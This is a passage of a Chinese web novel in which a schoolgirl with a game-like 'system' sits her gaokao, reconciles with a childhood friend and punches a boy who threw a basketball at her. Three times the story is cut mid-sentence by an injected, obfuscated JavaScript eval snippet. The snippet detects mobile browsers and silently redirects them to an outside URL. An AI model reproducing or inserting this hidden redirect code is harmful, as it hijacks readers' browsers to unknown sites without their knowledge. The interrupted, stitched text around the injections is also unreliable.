只能乖巧地点头：“我明白。” 陆妈妈露出满意的笑：“那就好。高考完，暑假你没安排吧？晨曦跟你和北回是好朋友，你们三个可以去旅游，路上的花费我出，去哪里旅游、玩什么项目你们自己决定。” 奶茶店里，晏北回获知此事，顿时乐得手舞足蹈：“哇！陆阿姨超级大方！超级好！” 立刻把学功夫扔到脑后，兴致勃勃地对两位好朋友说：“去哪旅游我都没意见，你们带上我就行，我绝对服从安排！” 在陆晨曦看来，旅游不是新鲜事：“考完试再说。” 她翻着《武道家入门基础》，瞧了一眼崔皓月，感觉好朋友身上藏着秘密。 但崔皓月不主动说，她不会问。 她把入门基础还给崔皓月，曲起手指轻轻敲了一下桌面。 吸引到两位好朋友的注意力，陆晨曦严肃地说：“现在我们该讨论一件事，大学去哪里读？毕业后，我们仨是各奔东西，还是上同一所大学？” “你们考得上的大学，我估计是考不上的。”，晏北回不由得垂头丧气，“学习太难，我顶多考个二本院校，运气好点一本吊车尾。” “复读一年？”陆晨曦提议。 “不想，也就是跟你们在一起，我学习才能认真。”晏北回毫不犹豫地否决了，“我的性格我自己最清楚，离了你们，学习成绩八成会下降。我也不是有毅力的人，复读说不定后悔，然后自暴自弃……” “你不能有点自制力吗？”陆晨曦恨铁不成钢。 “我是个普通人，你不能要求太苛刻。”晏北回理直气壮地说，“我已经很努力地追赶你们了！” “那我俩上一个大学？”陆晨曦看着崔皓月，“北回成绩差了点，让她选个距离我们近，周末能一起玩的大学？” “你选什么专业？”崔皓月问。 “经济、金融、法学、统计、工商管理，没想好选哪个，我……应该会考公。” 真要考公吗？ 想起警察女士偶尔来自己家做客，跟妈妈抱怨工作、同事、上司的话，以及姨姨每次从部队里回家的抱怨，陆晨曦不禁迟疑了。 她把问题抛了回去：“皓月，你喜欢什么专业？” 崔皓月有认真地思考过，答道：“我想知道我爸妈为什么爱弟弟不爱我，想知道人类文明为什么会变成今天的模样，还想知道怎么做才能让所有女性得到平等的对待。” 但是，知道答案就能改变这个世界？ 并不能。 所以她要做更有意义的事情。 至于什么事更有意义，她还在思考，现在并没有答案。 “难怪晨曦建议你科研，你想的问题好深奥！我就不一样，看到网上那些不尊重女性的王八蛋，只想一口气把他们都突突了！”晏北回发出由衷的感慨，“不过，研究这些问题估计赚不到钱，你真要选相关专业？” “我不会选，至少我现在不会选。”崔皓月给出让她放心的回复，“我会选赚钱的专业，以后做陆阿姨那样的成功女士。” 晏北回顿时笑了：“谁不想做有钱人？你想，我也想。”转过头看陆晨曦，她有点不好意思地开口，“我……忽然不是很想考公了，就算侥幸考上，我估计也管不了女人税……” 世界那么宏大广阔，她却那么渺小，那么普通，能有什么力量改变世界？ 况且，别说改变世界，就连改变自己，她都不一定做到。 晏北回用手指抹了抹奶茶杯子外的水珠，对自己的平凡感到惆怅。 “考不考公，以后再说吧。”陆晨曦也犹豫，“我姨姨说，人的大脑要到25岁才发育成熟，那时候，我们的想法会发生天翻地覆的变化。现在嘛，我们选喜欢的专业，学着要是不喜欢，大不了换别的专业。” “给你当秘书该选什么专业？”晏北回笑嘻嘻，“不开玩笑，我真的想给你当辅助，你让我做什么我就做什么，只要你不嫌弃我！皓月如果带得动我，我也愿意辅助皓月！” 崔皓月和陆晨曦都望向她，不约而同地叹气。 “咋了？嫌弃我？还是你俩不想努力？”讲出真实想法，晏北回担心被嘲笑。 “倒不是。”陆晨曦单手支头，拨弄桌子上的手机，“我在想，做个不爱动脑的人有时也挺好，不用费心思考，跟着别人做选择就行。但是人怎能把自己的未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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认完地点，校车接大家回学校。 这天不上课，也没有晚自习，大家都在宿舍。 有人买了几罐啤酒，问：“喝一点？” 立刻有人反对：“考试前喝酒不好吧？我怕喝醉。” “啤酒喝一点点不怕醉的。”陆晨曦坐在床上，抱着一只娃娃，“不过，考完我们再喝吧。” “紧张吗？”晏北回傍晚洗了头，正在用手摸头皮，担心头皮没干透导致头痛。 “怕考不好。”床位和她挨着的舍友说，“听说二中食堂不卫生，有人吃出菜青虫，我好想回咱们学校的食堂吃午饭。” 崔皓月也在二中考试，说：“高考了，食堂的饭菜应该会比平时讲究一点。” “希望是这样。”那位舍友说，“早点睡吧，养好精神，明天出征！” 大家都被逗笑了。 次日，崔皓月来到考场。 考试即将开始，她坐在位置上检查文具，后桌传来迟疑的声音：“你是徐婷婷吗？” 熟悉的声音，念着被她抛弃的旧姓名。 崔皓月回过头，在考场里见到童年的小伙伴——徐凌波。 她们曾一起摸鱼，一起爬树，一起摘野果。 她们在同一个学堂读完一、二、三年级，在同一个小学读完四、五、六年级，一起回家又一起上学，一起搭乘班车往返乡镇和县城。 但她们早就闹翻了。 42.是玩伴而非朋友 高一下学期开学的前一天，两人一起逛街，徐凌波要上厕所，把包交给崔皓月保管。拿回包她却发现包里的银行卡丢了，怀疑崔皓月偷窃，要求归还银行卡。 崔皓月没有拿，徐凌波不信她。 两人的友谊就此破碎。 后来，崔皓月在村里听到徐凌波的妈妈跟别人闲聊，才知道丢失的银行卡被徐凌波落在家里忘了拿。 由于徐凌波没向她道歉，更没来找她澄清误会，崔皓月也没有修复这段关系。 此时意外见到对方，她点了点头，欣喜之余有些恼怒，淡淡地说：“我已经改名了，现在我叫崔皓月。” “真的是你！”徐凌波很惊讶，“我听你奶奶说过你改名了，你连姓也改？过年你怎么不回家？你一直不回家，放假住在哪里？亲戚家？” “我住在同学家。”崔皓月打量着小伙伴。 对方穿着衣领系蝴蝶结的白色衬衫，搭配深色外套和及膝格子短裙。晏北回给她科普过，这是模仿日本高中女生的打扮。 很好看，但裙子不适合每日晨跑的她，她不喜欢穿裙子。 徐凌波也在看崔皓月，无论是姓名还是外表，她都不像记忆里怯弱内向的徐婷婷。 她长高了，长发变成短发，不再低着头不敢看人。她穿着一中的校服，鞋子不新，也不旧，用的文具是质量上乘，看起来像个普通的县城女孩，身上没有一丝土气。 不，她不普通。 徐凌波感觉崔皓月有种奇特的气质，这种气质很复杂，很难描述。 考场门口忽然响起检查老师严厉的声音：“站住！这位男考生，立刻拿出你的身份证和准考证，我要检查！” 两人同时看向门口。 被叫住的男考生染着红棕色头发，耳朵上戴着好几个亮闪闪的耳钉，吊儿郎当的像个社会小混混。 他一脸不耐烦地出示证件：“高考没说不能染头发吧？没说不能戴耳钉吧？” “这男的长得有点帅。”徐凌波小声地跟崔皓月说。 他帅吗？ 崔皓月审视男生，脸上没有青春痘，确实比张浩文、黄鑫等人好看。 检查完毕，老师挥挥手放行。 男生骂骂咧咧地进考场，扫了一眼考生们，无人敢直视他。 全是傻兔子！ 他刚要表示不屑，却对上崔皓月的目光。 她平静地看他，神色中带着一丝厌烦，他不由自主地收敛脾气，默默找到位置坐下。 直觉告诉他，这个女的不好惹。 目睹不良男生的退避，徐凌波一下子就知道崔皓月的气质应该怎么描述了。 如同电影里一个人杀穿一条街的帮派大姐头。 武力强横，故而自信从容，不怒亦有三分威严，令人看了便畏惧。 但这是她的童年小伙伴！ 她熟悉崔皓月，了解其过去，想到崔皓月变成大姐头，一个眼神吓退不良男生，她忍不住怀疑自己在胡思乱想。 怎么可能呢？ 崔皓月胆子那么小，坐班车被猥琐男占便宜都不敢揭发，得她出头，怎么会变成小混混害怕的大姐头？ 肯定是她误会了。 对的，一定是她误解不良男生的行为，才会将崔皓月想象成大姐头。 徐凌波不喜欢误解，抿着嘴唇，不再说话。 崔皓月安静地检查了文具，看向黑板上方的时钟，距离第一场考试还有三十分钟。 后座的徐凌波一声不吭，她闭目养神，思绪飘到被误解的过去。 两年多了，徐凌波一直不肯道歉，难道要她主动请求和好？ 徐凌波究竟明不明白？她是一个有自尊心的人！错处不在她，她不可能低头！崔皓月蓦然睁开眼睛，手指抓着桌子边缘，要求自己冷静思考。 误会她偷窃，拒绝信任她的徐凌波。 丢失的银行卡在家里找回来，不给她任何解释的徐凌波。 值得她挽回吗？ 徐凌波家的桃子红了，枇杷黄了，会叫她一起吃。 徐凌波家的电视机能看很多好看的节目，叫她一起看。 她坐班车，猥琐男骚扰她，是徐凌波赶走猥琐男，往后每次乘车都让她坐在双人座靠窗那边…… 更多与徐凌波有关的温馨记忆浮上心头，她明白了，她无法割舍徐凌波。 即便徐凌波误会她偷窃，即便徐凌波有错在先不肯道歉！ 她也无法割舍这位相处多年的小伙伴。 她应该给徐凌波一个改过的机会。 崔皓月握拳。 晏北回一边抱怨妈妈，一边不准别人批评妈妈，也是这种矛盾的心理吗？晏北回对妈妈，她对徐凌波，恨中有爱，爱中有恨。 可她不是晏北回。 她转过身，看着徐凌波。 徐凌波抬起头，与她对视，有些心虚。 “什么时候向我道歉？”崔皓月问得非常直接，“还是永远不道歉？” “……”徐凌波露出羞恼之色。 “你误会我偷窃！”崔皓月控诉道，“你丢的银行卡在家里找到，根本没丢！” 做的错事被当面提起，徐凌波咬住下唇，瞪着崔皓月。 “两年多了，你连一句道歉都没给我！”崔皓月十分委屈，“你污蔑我，心里不自责吗？” “我……”徐凌波想说话，脸色骤然一变，难堪神情迅速被羞恼取代，随后有些担忧害怕。 忽而，她像是发现了避开崔皓月质问的方法，略得意地看了崔皓月一眼，站起身急匆匆地走向门口，小声喊道：“老师，我上一下厕所！” 老师说：“快去快回。” 崔皓月望着徐凌波仓促逃离的背影，对她的躲避态度感到愤怒。 道歉就那么难吗？ 徐凌波都躲了两年多了，现在还要躲，到底想躲到什么时候？ 越想越气，崔皓月迅速跟了出去。 听到她跟老师说也要上厕所，徐凌波连忙回头看，见到她真的从教室追出来，不由得慌了神。 好执着！好咄咄逼人！好可怕的崔皓月！ 从前她根本不是这个样子，她经历了什么事，才会产生这么大的变化？ 想到她改名改姓，宁可住同学家也不回家，以及她奶奶在村里骂她不孝顺，傍上有钱人就不认家里人的话，徐凌波心里突然难受起来。 既想问崔皓月为何如此不自爱，又忧虑崔皓月说出让她失望的回答，诸如青春换钱没什么大不了的话。 眼看着崔皓月越走越快，徐凌波急忙走进厕所，砰的一声关上了厕所门。 崔皓月追来，敲了敲厕所门：“徐凌波，出来，别躲！” 活像个恐怖片里追杀主角的女鬼！ 徐凌波捂着心，实在受不了她，生气地说：“厕所也不给人上？你别太过分了！” “我只要你向我道歉，凌波，你误会了我那么久，什么交代都不肯给我吗？”崔皓月低垂着头，咬住唇，想到另一个结局，“你是不是……不想跟我和好？” 徐凌波沉默，没否定也没肯定。 这何尝不是一种回答呢？ 崔皓月猜到她的态度，低低地叹息一声，进了旁边的厕所。 也许…… 自己应该尊重徐凌波的决定。 友谊从来都是相对的，不是单方面的。 崔皓月也要上厕所，昨天她来月经，今天是经期第二天。 月经总是让人担心衣服被弄脏。 昨晚入睡前，她换了夜用卫生巾，仔细地垫在内裤上，睡觉也非常老实，不敢乱动。但她早上起床，还是发现经血流到卫生巾外，搞得裤子染上血迹。 现在脏裤子还泡在水里，得傍晚回到学校才有空洗。 考试时间挺长的，她要换一片新的卫生巾，免得经血量大，卫生巾吸收不完，又弄脏裤子。 虽然她在【背包】里放了备用的内裤和裤子，可她不想换衣服。 洗衣服多累啊。 有时崔皓月会想，人类都发展到凭着科技的力量登月了，为什么处理月经的方式还停留在这么简陋的层面？ 因为女性不是世界的主人，所以女性的需求不重要。 ——她知道答案。 她厌恶这个男性统治的世界。 这时候，旁边的厕所间传来徐凌波犹豫的声音：“皓月，对不起……我误会了你！找到银行卡后我想跟你道歉，可是我……我不敢面对你，怕你骂我，怕你不接受道歉……” 等了两年多，她终于等到了徐凌波的道歉。 崔皓月应该感到高兴，可她心情平静：“凌波，我不是你想象的那种人。” 徐凌波还在误会她，徐凌波不懂她。 崔皓月问：“你为什么只相信你以为的？你以为我是小偷，我便是小偷吗？你以为我会骂你，会嘲笑你，我便会那样做？凌波，你太自以为是了，你不相信我。” 徐凌波沉默。 厕所陷入寂静。 就是这样，徐凌波想，她道歉，崔皓月会指责她。 这就是她不想道歉的原因。 然而她有求于人，她现在非常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14550333|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要一片姨妈巾。 不认识的女生需要卫生巾，她要是有姨妈巾，肯定会借。 崔皓月跟她好歹是童年玩伴，不至于连一片姨妈巾都不愿意借吧？ 徐凌波一下下地用指甲掐掌心，担心崔皓月恨自己。 她还在流着经血，没法去小卖部买姨妈巾，能求助崔皓月吗？ 【叮！发现特殊事件！】 【徐凌波料不到自己来月经，什么准备都没有，此时陷入困境，你决定——】 【选项一：无视】 【选项二：给予帮助，奖励50积分】 【选项三：你有更好的解决方法，视情况奖励积分】 看到系统提示，崔皓月才知道徐凌波被她质问的时候为什么脸色变化，肯定是月经来了，急着上厕所。 那么，徐凌波向她道歉，是不是因为需要她帮助，所以放低姿势？ 不管是不是，以后有的是时间思考。 等了三秒，没等到徐凌波开口，崔皓月主动问：“来月经了没带卫生巾？” “嗯……”徐凌波答得心虚，“你有吗？” “有，你等我一下。”崔皓月说。 快速换好卫生巾，崔皓月推开厕所门，将一片日用卫生巾递给徐凌波：“够吗？内/裤你要不要换新的？我带了一条备用的，没穿过，你跟我差不多高，穿上了应该合适。” 【叮！你完成选项二，获得50积分】 系统给予反馈。 这是崔皓月做过的最快、最简单的特殊事件。 徐凌波还真想换干净内裤，只是她更加惊讶崔皓月的准备：“你怎么连内/裤都随身带？难道你……难道你真的给有钱男人当……” 担心说出二奶和情/妇这两个词会伤人，徐凌波换了个委婉的词：“当女朋友？” 她看到崔皓月迷惑不解的表情，像在问她：你说什么？ 这！难道崔皓月没有给男人当情人？ 既然如此，崔皓月的奶奶为什么要说崔皓月傍上有钱的地产大老板？ “我也来月经，怕衣服脏了，才会带更换的内/裤！”崔皓月没好气地解释，“我不认识有钱男人，也没有谈过恋爱！” “你奶奶说你傍上有钱人，骂你祖宗都不想认，话非常难听。”徐凌波看着崔皓月，小心斟酌言辞，“我妈要我离你远点。” 其实她妈妈也说了很难听的话，不准她接触崔皓月，还威胁她。 要是她跟崔皓月一起玩，妈妈会断绝母女关系。 崔皓月懂了，奶奶在老家造谣她。 这确实是奶奶做得出的事，毕竟奶奶从来就见不得她好。 她对徐凌波说：“你先上厕所。” 徐凌波乖乖进厕所，听着门外的崔皓月讲完事情的来龙去脉，不禁为她难过：“你奶奶和你爸妈太过分了！” “过分？他们何止过分！”崔皓月神色冷漠，“他们像恨仇人一样恨我！” 奶奶明知资助她的陆妈妈是女性，却故意误导别人，让别人认为她出卖皮肉讨好男人。 这不是恨她还是什么？ 在她进入青春期后，奶奶作为女性长辈，没有给她一丁点教导，她得到的全是羞辱。 要内衣？ 十块钱能买两三件，买不到肯定是她专挑贵的买！ 要内裤？ 十块钱四五件，穿在衣服里的，用不着见人，破了烂了也照样能穿！ 留长发？ 哦，她发骚，想勾引男人！ 买卫生巾？ 一个月十块够用，奶奶从前没有卫生巾不还是照样过！ 奶奶和妈妈没讲过月经，崔皓月对月经的了解，源于宿舍里已经来过月经的女生，源于教科书上的文字和图画。 初潮那天她弄脏裤子，请假回宿舍换衣服。 然后她拿着老师借的二十块钱，垫着女同学借的卫生巾，来到卫生巾货架前，努力分辨卫生巾的种类。 渐渐地，在循环往复的月经周期中，她成为一个能熟练地处理月经的女人。 看着厕所门，崔皓月忽然意识到一件事，她没有和徐凌波讨论过月经。 她们也没有讨论过未来，更没有深入了解过彼此。 徐凌波不熟悉她的奶奶和爸妈，没问过她爸妈为何改变主意供她读高中，她不熟悉徐凌波的爸妈，不知道他们对她的评价。 她和徐凌波的关系，甚至称不上朋友，仅仅是凑巧一起长大一起玩的普通伙伴。 所以，她们的情谊看似深厚，实则浅薄，脆弱得经不起任何误会。 43.再见 回到考场，崔皓月和徐凌波没有再交流。 考试在九点开始，十一点半结束，崔皓月自觉发挥良好。 徐凌波找她对答案，很忐忑：“时间太紧了，我刚写完作文，还没检查就交卷了，也不知道能考多少分。” 崔皓月跟她对了选择题的答案，说：“已经考完了，准备下一科吧。” 答案不一致，徐凌波更忐忑：“我肯定选错了！” 崔皓月就读的一中是公认最好的高中，她当年考不上，崔皓月却考上了，崔皓月的成绩肯定不差。她想到这里，不由得问：“上次模拟考，你在市里排名第几？” 市排名崔皓月不清楚，说：“我年级排名前一百。” 徐凌波顿时自卑了：“那么好啊！你肯定能考上好大学！你打算考哪个大学？” “出成绩再决定。”崔皓月收拾文具，“走吧，我们去食堂吃饭。” “听说一中的食堂特别好吃，是真的吗？”徐凌波瞧见两个手挽手的女生，悄悄地看崔皓月，两年多的误会让彼此生疏，她不太敢主动牵崔皓月的手。 崔皓月注意到她的眼神，伸出手。 徐凌波霎时眉开眼笑，与她十指相扣，轻轻晃了晃，感觉像回到过去，脚步都轻快了几分。 崔皓月也开心，回答道：“上个学期食堂换了一位老板，饭菜才变好吃。” “二中的饭菜好像还不错。”说这话的时候，两个和好的小伙伴正坐在食堂里吃饭，徐凌波在三中，也是坐校车来二中参加高考。 邻桌坐着二中学生，闻言立刻反驳：“只有今天不错，平时很难吃！” 徐凌波和崔皓月都笑了起来。 饭后，崔皓月提议道：“午休前散个步？” 徐凌波点头。 女生宿舍楼附近是操场，种着几棵垂下无数气根的大榕树，凸出地面的树根将树下的方形砖块弄得凹凸不平。 不远处的篮球场有几个男生打篮球。 徐凌波定睛一看，胳膊撞了撞崔皓月：“你看那个人！” 崔皓月认出了对方，是那个染头发戴耳钉的混混男考生。 他正好看来，触及她的目光，迅速移开视线。 徐凌波停下来观看，小声评价：“他打篮球挺帅。” 崔皓月看不出帅不帅，说：“打篮球的男生我都不喜欢，你知道我学校有个男的潜入女生宿舍泼硫酸吧？那男的喜欢打篮球，如果有女生在场，他会故意耍帅。” “啊！太恐怖了！”徐凌波吓了一跳，也没心情看男生打篮球了，“我们回去吧。” 两人转身，那几个男生追着篮球跑了过来，空气中响起篮球的破空声。 崔皓月回头看，一个篮球正在朝着她和徐凌波砸来。 丢出篮球的人是混混男考生，他扬起唇角，露出挑衅的表情。 他是故意的。 崔皓月面色一冷。 【叮！你触发了生活事件】 【遭到混混男刻意针对，你决定——】 【选项一：以和为贵，要求他道歉，获得50元零花钱】 【选项二：以牙还牙，获得200元零花钱】 【选项三：将他暴打一顿，让他见识你的厉害，获得500元零花钱】 做选择题的时候时间不会停止，崔皓月没空看选择内容是什么，先将徐凌波推开，再一跃而起接住砸来的篮球，对准混混男考生反手就是一球砸出去。 混混男考生并没有她那么敏捷的反应力，愣了一下没躲开，被篮球砸中胸膛，立刻浑身一晃，差点被被砸得摔倒。 篮球弹到地上，无人在意。 男生们惊讶崔皓月的快速反应，被她冷冷地看着，都有些尴尬。 崔皓月选择选项二。 走向男考生，她握住拳，气得冒火：“你以为只有你会打篮球？用篮球砸人很好玩是吧？” 男考生退后两步，隐约感觉到不妙，急忙说：“我又不是故意的！” “是吗？”崔皓月看着他。 “当然！”男考生招呼同伴们，“你们都看到了，我不是故意砸人——嗷！” 听着他的话，崔皓月一拳挥出去，正中他的腹部。 在他的痛叫声里，她平静地收回拳头，对男生们说：“我不是故意的，你们都看到了。” 徐凌波紧张地跑过来，喊道：“皓月！” 男生们纷纷往后退。 男考生被打得弓着腰呻/吟，半天直不起身，可见崔皓月的拳头不是开玩笑，没有人敢直面她。 暴力令人畏惧。 徐凌波看了看神色怨恨的男考生，注意力回到崔皓月身上，关切地问：“你没事吧？你怎么……怎么打人？” “他拿篮球砸你，万一你受伤怎么办？”崔皓月在看男考生。 无需使用【武道家LV2】技能，《武道家入门基础》让她拥有不弱的武力，她衡量着男考生的能耐，直白地问：“打不打？” 男考生忌惮她的本事，用力摇头。 傻子才跟这个暴力女打！ 他的直觉果然是对的，这个女的很不好惹。 发了什么颠，他非要惹这女的！好好打篮球难道不好？ 捂着挨打的肚子，男考生逃离篮球场。 【叮！你完成选项二，200元零花钱已发放至账号】 崔皓月收到了系统的提示。 想当初，扇在张浩文脸上的一巴掌价值500元，今天打的一拳只值200元。 她不由得想：混混男真是个废物。 回到宿舍，徐凌波忍不住说：“你的变化真的好大！你在一中当上了大姐头？一中的纪律没有很乱吧，怎么把你变成了这样啊！” “我学了一点功夫，看到别人讨打，便手痒。”崔皓月摆出练武姿势，冲她俏皮一笑，“想不想学这个？想学我教你，以后你也能一拳一个坏人。” “哎呀，有点帅！”徐凌波绕着她转圈，“可我觉得打人是不对的，我们得讲道理。” “有些人听不懂道理，我也很无奈。”崔皓月其实不想用暴力解决问题。 午休结束后，考生们陆续进考场。 再次见到崔皓月，男考生表现得相当老实——在午休期间，他找了一中的人问崔皓月是什么来历。 然后，他知道她喜欢扇人耳光，曾把男生骂到哭，还擅长武术。 惹不起！ 这种人真的惹不起！ 下午三点到五点考数学，崔皓月做完所有题目，把答案检查了三遍，刚好考试结束。 不同于没有固定答案的语文，数学会就是会，不会就是不会，对答案更简单。 徐凌波对完选择题的答案，脸色发白：“题目太难了，我感觉我数学肯定考不好！明天考英语，我英语也很一般。啊！为什么要高考！” “凌波，明天见。”崔皓月挥手告别。 “你有手机吧，加个q。”徐凌波把自己的q号写在纸上，“你加我！” 校车将她们送回学校。 崔皓月跟晏北回一起吃饭，晏北回见了面便打趣她：“听说你在二中打人？哪个男的那么贱，非得激怒你？” “我散步，他故意拿篮球砸我。”崔皓月简单地讲了事情的经过，“你怎么知道的？” “嘿嘿，晨曦告诉我的。”晏北回斜睨她，“她还说，你跟一个女生走在一起，你碰到从前的朋友了？” 崔皓月点头：“但我不确定我和她能不能做朋友。” 晏北回立刻好奇：“怎么说？” 自己和徐凌波的误会，能跟晏北回聊吗？崔皓月犹豫，概括道：“她怀疑我拿了她的东西，不相信我的解释，也不了解我的品行，不知道我是怎样的人。” “那你怎么跟她好？”晏北回不解，崔皓月对朋友没有那么不挑吧？ “我和她从小一起玩，习惯了彼此的陪伴。”崔皓月想起曾经的快乐回忆，微微摇头，“晨曦在宿舍里等我们回去，不聊了，要专心吃饭。” 察觉她不想讨论那位朋友，晏北回闭嘴。 第二天上午的考试，物理和历史任选其一，崔皓月选物理。 徐凌波 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566588|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考的也是物理，考完对答案，一脸沮丧之色，懊恼没有选历史。 物理太难，历史只需背书记忆。 下午考英语，虽然徐凌波说自己英语很一般，可她选择题都对了，脸上多了点笑。 最后一天考四科，任选其二，崔皓月考了化学和生物，徐凌波亦然。 考完最后一科，卷子被监考老师收上去，考场里响起考生们解脱的欢呼声。 徐凌波没跟崔皓月对答案，问她：“你暑假回家吗？” 奶奶那般造谣污蔑她，徐凌波还问她回不回家？ 崔皓月反问：“你觉得我会回家吗？” 听出她的不高兴，徐凌波讪笑：“我又不是你，我哪知道你的想法？暑假那么长，你总不能住同学家吧？你的被子枕头也得带回家……” “我的家不在村里，凌波。”崔皓月把文具放进文件袋里，看着徐凌波的眼睛，“那不是我的家，我不可能跟恨我的人住在一起。” “但她……她是你的亲奶奶。”徐凌波为难地说，“我听她讲过，她想你。” “想我会来学校探望我，爱我会给我打钱，她没做到，只是说说罢了。”崔皓月平静地点破奶奶虚伪的表象。 徐凌波心里难受，跟在她身后走出考场，想安慰她却不知如何安慰。 教学楼下，校车正在等候。 她们要分开了。 崔皓月站住，对身边的徐凌波说：“再见，祝你假期愉快。” 徐凌波干巴巴地说：“再见。” 崔皓月走向一中校车，手忽然被徐凌波抓住。 她回头，徐凌波凝视着她，依依不舍：“我们以后还能见面吗？” 能吗？崔皓月也不知道，想了想，给出自己的回答：“如果你想见，我们肯定能见面。” 徐凌波不肯松手，仍在凝视她。 “你想说什么？”崔皓月知道她惯于隐藏内心的想法，主动开口询问。 “皓月，你加我的q号是不是小号？”徐凌波为此纠结了两天，终究还是问了。 崔皓月说：“不是，我上学期申请的q号，手机是元旦放假买的。” 徐凌波松开了她的手，说：“我帮你申请的q号，你忘了？我还留着你的好友，没有见过你登录。” 那是中考暑假时申请的q号，崔皓月没有手机，没有电脑，如何能登陆？上电脑课的时候可以登一下，跟徐凌波聊两句，闹翻后她确实没有登录过，号码忘了，密码也忘了。 “对，我忘了，你删了那个号的好友吧。”崔皓月走近徐凌波，迎着她疑惑的目光，张开双手抱了抱她，“下次见。” 是离别拥抱！ 小伙伴好懂浪漫！ “下次见！”徐凌波顿时喜笑颜开，朝上车的崔皓月挥手，“你要经常上q，我会找你聊天！” 她和徐凌波能做朋友吗？她们是朋友吗？崔皓月依然不知道，她将决定权交给时间，时间会告诉她一切答案。 校车启动，开出二中，行驶在回一中的路上。 路上车子很多，接送孩子的家长占了大半，校车甚至在二中附近堵住。 崔皓月坐在双人座靠窗的位置，尽管她武道入门，能把骚扰她的猥琐男手打折，她还是保留了过去的习惯。坐在她旁边的，不是徐凌波，是一位面熟但不认识的女生。 窗外景色不断退后，崔皓月打开系统。 像是等待了很久，一行行文字迫不及待地浮现在她的视野里，伴着一阵轻快动听的音乐。 【你，崔皓月，今年十八岁，刚结束为期三天的高考】 【你坚强而勇敢，毅然决然地割弃不爱你的家庭，改掉充满恶意和屈辱的姓名，用你喜欢的姓名开始了美好的新人生】 【记忆中灰暗的过往你不会忘记，也不会追念】 【你从现在走向你想要的未来，你相信你会越来越优秀，你的生活会越过越美好】 【使用者崔皓月，恭喜你完成人生事件！】 【100000元奖学金已发放至账号】 【商店功能已解锁】 44.新的想法，新的目标 十万元奖金！终于拿到了！ 崔皓月激动得数了好几遍【金钱】后缀的数字，没错，六位数！十万元！无需别人好心资助，她也出得起读大学的钱！ 超高兴！ 想跳起来旋转！大声向世界宣告喜悦！ 虽然得到资助也很好，但资助是别人的决定，万一别人改变主意不资助了怎么办？经历过向奶奶讨钱的艰难，崔皓月一点也不想受制于别人。她要掌握主动，就算别人不支持她，她也有足够的能力把要做的事情做完。 系统奖励的十万元，便是她读大学的底气，谁也动摇不了！ 如果可以，崔皓月其实也不想太依靠璀璨人生系统。 因此，她获得技能【武道家】之后，产生的第一个想法是学习武道，成为无技能亦具备武力的武道家。 旁边的女生见崔皓月笑得开怀，忍不住好奇地问：“什么事这么开心？” 意识到自己喜形于色，崔皓月稍微收敛了一些，回答道：“终于考完高考了，马上就能去读大学，听说大学的生活比较悠闲，我很期待！” “是啊，终于考完高考了！”女生感叹，“努力了三年，现在可以放松了，确实要笑。” 两人聊起来，崔皓月才知道女生是邻班学生，从前也被张浩文起过难听的外号。 上个学期崔皓月教训张浩文，为的尽管是自己，可女生听说了这件事之后非常解气，觉得受过的委屈得到了安慰。 她很感激崔皓月。 类似的话，崔皓月其实听过不少。 陆晨曦说过，舍友们讲过，可她今天突然有了新的想法。 她要过有意义的人生，大学毕业后要做有意义的事。教训张浩文一事，不仅惠及自己，更惠及她人，这件事显然具有她想要的意义。 仔细想，教训黄鑫、让李金元自食其果、支持并帮助陆晨曦教训周建康等男生……她做的这些事都有意义，都对别人产生了正面影响，不是吗？ 意义不必主动追寻，做她认为正确的事情，便能实现她认可的意义。 这时，女生说了一句话：“你很勇敢，我想变得像你一样勇敢，让所有冒犯自己的人得到惩罚！” 崔皓月听得出，她的语气相当认真。 “假使我被起外号的时候教训了张浩文，他会不会不敢用同样的方式欺负你？”女生望着窗外闪过的树，有些出神，“我在网上看到一个理论，我们做出的每个选择，都和未来息息相关。张浩文欺负我，我的忍耐等于纵容他作恶，无形中塑造了他欺负你的未来。” “而你——”女生看向听她说话的崔皓月，敬佩地说，“你让张浩文知道起外号的下场，惩罚了他，以后他肯定不敢随便给人起外号。崔皓月，你很厉害，我崇拜你，因为你让世界变得更加美好！” 她的话诚恳极了，发自内心。 第一次收到这样的表白，崔皓月露出震撼之色，下意识认为自己担当不起女生那么高的评价。 然而女生认为她担当得起，她也确实做了让世界变得更好的事。 并不是教训张浩文，而是别的。 她始终没有忘记，落在张浩文脸上的巴掌，是系统操纵她的身体打的。 讲出心里话，女生的脸色红了红，垂下头去。 二人陷入沉默。 崔皓月的沉默源于不知道如何回应，想了一会儿，她说：“谢谢你的夸赞，你启发了我，让我想明白了一件困扰我很久的事！” 女生抬起头悄悄看她，二人目光接触，她露出灿烂的笑容。 她是善意的，于是女生跟着笑了，彼此之间产生了一种说不清道不明的默契。 “你想明白了什么？”女生好奇地问她。 “世界对待我们并不平等，但是我们可以努力让这个世界变得平等！”崔皓月握拳。 自从她认识到男女平等是未来才能实现的理想，男性以主人姿态把持世界之后，她的心变得彷徨不安。 